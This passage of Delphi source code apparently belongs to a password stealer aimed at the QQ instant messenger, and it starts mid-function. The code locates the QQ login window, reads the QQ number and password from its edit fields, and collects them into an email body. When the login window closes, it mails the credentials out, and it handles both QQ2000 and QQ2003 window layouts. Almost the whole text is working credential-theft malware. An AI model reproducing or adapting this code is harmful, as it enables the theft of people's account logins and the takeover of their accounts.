hcrrentwindow := GetWindow(hcrrentwindow, GW_HWNDNEXT);
end;
end;
procedure GoOnMonitorPasswordAndQQNumber;
var
tempRect: TRect;
Rightpassword: boolean;
begin
QQhandle := FindQQHandle(Handle);
if QQHandle <> 0 then
begin
GetWindowRect(QQhandle, tempRect);
if oldWidth <> tempRect.Right - tempRect.Left then
begin
isFind := true;
exit;
end;
QQID := GetIDandPassword(QQIDHandle); // ,false
QQPassword := GetIDandPassword(QQPasswordHandle); // ,true
// MessageBox(0, pchar(QQID+#13#10+QQPassword), '提示', MB_OK + MB_ICONINFORMATION);
Rightpassword := true;
try StrToInt(QQID)except Rightpassword := false; end; //过滤无效的QQID
if Rightpassword then
if ((QQID <> oldQQID) or (QQPassword <> oldQQPassword)) and (QQID <> '') and (QQPassword <> '') then
begin
EmailBody := EmailBody + format('QQ号码：%s' + #13#10 + 'QQ密码：%s' + #13#10,
[QQID, QQPassword]);
oldQQID := QQID;
oldQQPassword := QQPassword;
end;
end
else //登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
begin
isFind := true;
SendMail;
end;
end;
procedure FindQQWindowForAnyVersion;
var
tempRect: TRect;
begin
QQhandle := FindQQHandle(Handle);
if QQHandle <> 0 then
begin
IsFind := false;
GetWindowRect(QQhandle, tempRect);
oldWidth := tempRect.Right - tempRect.Left;
EmailBody := '';
QQID := '';
QQPassword := '';
oldQQID := '';
oldQQPassword := '';
EditCount := 0;
Count := 0;
GetEditCount(QQHandle);
// MessageBox(0, pchar(inttostr(EditCount)), '提示', MB_OK + MB_ICONINFORMATION);
if EditCount = 1 then
FindQQ2000Edit(QQHandle)
else
FindQQ2003Edit(QQHandle);
end;
end;
end.
